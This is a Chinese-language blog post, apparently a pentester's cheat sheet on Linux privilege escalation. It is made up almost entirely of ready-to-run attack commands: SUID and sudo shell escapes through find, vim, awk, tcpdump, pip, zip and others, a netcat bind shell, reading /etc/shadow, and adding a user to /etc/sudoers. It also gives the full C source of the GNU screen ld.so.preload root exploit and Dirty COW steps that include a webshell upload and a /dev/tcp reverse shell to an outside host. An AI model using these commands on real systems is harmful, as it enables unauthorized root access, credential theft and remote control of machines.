Linux提权
suid提权
Linux可执行文件包括: Nmap, Vim, find, Bash, More, Less, Nano, cp
1、这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find
touch pentestlab
find pentestlab -exec whoami \;
/usr/bin/find examples.desktop -exec /bin/sh \;
Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。
netcat 192.168.1.189 5555
id
cat /etc/shadow
复制代码
Bash
bash -p
More
more /home/pelle/myfile
!/bin/bash
Less
less /etc/passwd
!/bin/sh
!'sh'
!'ls'
cp(暂未验证)
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
chmod(暂未验证)
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
ash/linux shell
sudo ash
awk
awk 'BEGIN {system("/bin/bash")}'
mv(暂时未有实例)
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
man
man passwd
!/bin/bash
python
import os
os.system("/bin/bash")
import pty
pty.spawn("/bin/bash")
perl
exec "/bin/bash";
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
vim
:set shell=/bin/sh
:shell
:!/bin/sh
ed
!'/bin/sh'
ne
1、ne上场了,ne编辑器有一个非常有趣的功能,允许我们保存或加载配置首选项。我们可以用这个功能来读取文件系统中的内容。按一下ESC一旦可以打开主配置菜单、转到最后一个菜单,“Prefs”选项“Load Prefs”:
2、点击后,它就会向我们显示文件系统的内容,让我们可以从中选择我们的首选项文件。但是在这里,请注意,我们现在可以进入到上一级文件系统中的目录,甚至到达“/”或任何其他目录,获取和读取它里面的内容:
我们甚至可以打开/etc目录文件/etc/passwd来枚举用户:
pinfo
pinfo ls
当ls手册页面被打开后,在里面打“!”(感叹号)。请注意,这里就会打开了一个命令执行功能,现在让我们执行一些简单的命令试试吧,比如之前的“ls /etc”,可以看到成功执行:
这里我们就成功绕过了lshell执行受限命令的限制。。。
nmap
nmap是一个非常著名的扫描端口的命令,它有一个非常有趣的选项叫做“--interactive”,该“--interactive”选项在nmap2009年5月之前的版本中用于打开交互式控制台,可以运行其他命令。但是有点悲伤的是,这个功能在nmap版本r17131中已停用,不过如果我们再有点旧版的Linux中可以尝试一下,当可以使用这个选项是,可以输入“!sh”,看看能不能打开一个shell
user@kali:~$ nmap --interactive
nmap> !sh
$
echo "os.execute('/bin/bash')" >> shell.nce
sudo nmap --script=/tmp/shell.nce
export
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
git
sudo git help add
!/bin/bash
sudo git help config
在末行命令模式输入 !/bin/bash 或 !'sh' 完成提权
tee
把charles加入到sudoers中
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
sudo su root
pip
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
zip
方法一
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
方法二
touch liuwx
sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T --unzip-command="sh -c /bin/bash"
screen
(1)libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
(2)rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
将两个c文件在本地编译后,上传到靶机下,更改权限后运行;
内核提权
脏牛提权
脏牛提权cve2016-5195.note脏牛提权cve2016-5195.note首先我有一个webshell,但我只有普通权限,需要提权到root 下载地址:https://www.exploit-db.com/exploits/40847
第一步先上传马
第二步反弹shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import pty;pty.spawn("/bin/bash")'
awk ‘BEGIN{system(“/bin/bash”)}’
第三步执exp
执行:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
./dcow #得到root密码
版权声明:
本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
weehhd!
喜欢就支持一下吧
打赏
微信
支付宝